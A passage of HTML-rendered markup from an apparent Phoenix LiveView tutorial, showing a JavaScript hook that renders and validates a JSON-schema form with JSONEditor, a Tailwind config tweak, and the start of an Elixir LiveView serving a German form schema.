&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;JSONEditor&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;../../vendor/jsoneditor&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;JSONEditor&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;defaults&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;theme&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;tailwind&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;export&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;mounted&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;pushEvent&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;load-schema&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;code&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GER&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;editor&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;JSONEditor&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;el&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;disable_collapse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;disable_edit_json&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;disable_properties&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;no_additional_properties&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;document&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;getElementById&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;json-schema-form-submit&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;addEventListener&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;click&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;          &lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;errors&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;          &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;errors&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;            &lt;span style=&quot;color: #e6edf3;&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;setOption&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;show_errors&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;always&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;            &lt;span style=&quot;color: #e6edf3;&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;setOption&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;show_errors&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;interaction&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;            &lt;span style=&quot;color: #79c0ff;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;pushEvent&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;submit&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;getValue&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The JS code above defines a &lt;a href=&quot;https://hexdocs.pm/phoenix_live_view/js-interop.html#client-hooks-via-phx-hook&quot;&gt;Phoenix Hook&lt;/a&gt; that creates a new &lt;code&gt;JSONEditor&lt;/code&gt; instance for building and validating our form. Once the hook mounts, it first fetches the form schema for Germany, which we hard-coded for now, and waits for a reply (Thank you to my dear colleague &lt;a href=&quot;https://twitter.com/svileng&quot;&gt;Svilen&lt;/a&gt; who explained the &lt;code&gt;pushEvent -&gt; reply&lt;/code&gt; mechanism on &lt;a href=&quot;https://stackoverflow.com/a/62957769/4138739&quot;&gt;StackOverflow&lt;/a&gt;). When the reply arrives, the hook creates a new &lt;code&gt;JSONEditor&lt;/code&gt; instance that renders the schema in the placeholder div on which we set the &lt;code&gt;phx-hook=JSONSchemaForm&lt;/code&gt; hook.&lt;/p&gt;
&lt;p&gt;The second part of our hook handles the form submission. We intercept the form submission using an &lt;code&gt;EventListener&lt;/code&gt; on the submit button. First, we validate the input against our JSON schema. If no errors exist, we send the data to the LiveView. Otherwise, we show the error messages on the form.&lt;/p&gt;
&lt;p&gt;Note that we set the &lt;code&gt;JSONEditor&lt;/code&gt; theme to &lt;code&gt;tailwind&lt;/code&gt;. This will style our form using TailwindCSS utility classes. But if you start our server, you&apos;ll see that these classes have no effect. That&apos;s because Tailwind purges any unused classes by default and doesn&apos;t know that the JSONEditor uses these classes. You can easily tell Tailwind not to purge the classes used by the JSONEditor in your &lt;code&gt;tailwind.config.js&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;./vendor/*.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;// &lt;- Add this line&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;./js/**/*.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;../lib/*_web.ex&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;../lib/*_web/**/*.*ex&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, Tailwind won&apos;t purge the classes used by the JSONEditor and our form should stay styled.&lt;/p&gt;
&lt;p&gt;As a last step, we need to add the new hook to our LiveView. Add the following to your &lt;code&gt;assets/js/app.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;JSONSchemaForm&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;./hooks/json_schema_form&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;let&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Hooks&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Hooks&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;JSONSchemaForm&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;JSONSchemaForm&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;let&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;liveSocket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;LiveSocket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/live&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;_csrf_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;csrfToken&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;hooks&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Hooks&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;// &lt;- Add this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, all our frontend code is in place. Let&apos;s set up the LiveView next.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#add-a-json-schema&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;add-a-json-schema&quot;&gt;&lt;/a&gt;Add a JSON Schema&lt;/h2&gt;
&lt;p&gt;Our LiveView needs to do two things: Serve the JSON schema and validate form submissions. Let&apos;s start with the first part.&lt;/p&gt;
&lt;p&gt;We already request the schema from our Phoenix Hook using the &lt;code&gt;this.pushEvent(&quot;load-schema&quot;, ...)&lt;/code&gt; call. So, our LiveView needs an event handler that returns the schema for a given country code. Here&apos;s how:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.FormLive&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:live_view&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;load-schema&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;code&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;code&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:reply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;schema: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;code&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GER&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# You&amp;#39;d probably load the schema from either your database&lt;/span&gt;
